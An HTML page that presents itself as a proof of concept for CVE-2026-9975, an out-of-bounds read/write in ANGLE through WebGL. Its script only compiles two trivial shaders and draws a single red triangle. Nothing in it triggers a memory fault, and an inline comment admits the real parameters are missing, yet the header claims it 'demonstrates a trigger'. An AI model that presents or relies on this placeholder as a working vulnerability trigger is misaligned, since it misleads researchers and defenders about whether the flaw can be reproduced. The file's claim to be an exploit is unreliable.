<!-- PoC for CVE-2026-9975: ANGLE Out-of-Bounds Read/Write -->
<!-- This PoC demonstrates a trigger for the ANGLE vulnerability via WebGL -->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-9975 PoC</title>
</head>
<body>
<h1>Testing CVE-2026-9975</h1>
<canvas id="glCanvas" width="640" height="480"></canvas>
<script>
// Initialize WebGL context to interact with ANGLE
const canvas = document.getElementById('glCanvas');
const gl = canvas.getContext('webgl');
if (!gl) {
console.error('WebGL not supported');
} else {
console.log('WebGL context created. Attempting to trigger vulnerability...');
// Create a shader that may trigger the out-of-bounds condition
// Specific shader parameters would be tuned for the actual exploit
const vertexShaderSource = `
attribute vec4 aVertexPosition;
void main() {
gl_Position = aVertexPosition;
}
`;
const fragmentShaderSource = `
precision mediump float;
void main() {
// Manipulate fragment data to stress ANGLE memory handling
gl_FragColor = vec4(1.0, 0.0, 0.0, 1.0);
}
`;
// Helper function to compile shaders
function loadShader(gl, type, source) {
const shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.error('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
const shaderProgram = gl.createProgram();
const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vertexShaderSource);
const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource);
gl.attachShader(shaderProgram, vertexShader);
gl.attachShader(shaderProgram, fragmentShader);
gl.linkProgram(shaderProgram);
// Attempt to draw and trigger the bug in ANGLE
gl.useProgram(shaderProgram);
const positionBuffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
const positions = [0.0, 1.0, -1.0, -1.0, 1.0, -1.0];
gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(positions), gl.STATIC_DRAW);
const vertexPosition = gl.getAttribLocation(shaderProgram, 'aVertexPosition');
gl.vertexAttribPointer(vertexPosition, 2, gl.FLOAT, false, 0, 0);
gl.enableVertexAttribArray(vertexPosition);
gl.drawArrays(gl.TRIANGLES, 0, 3);
}
</script>
</body>
</html>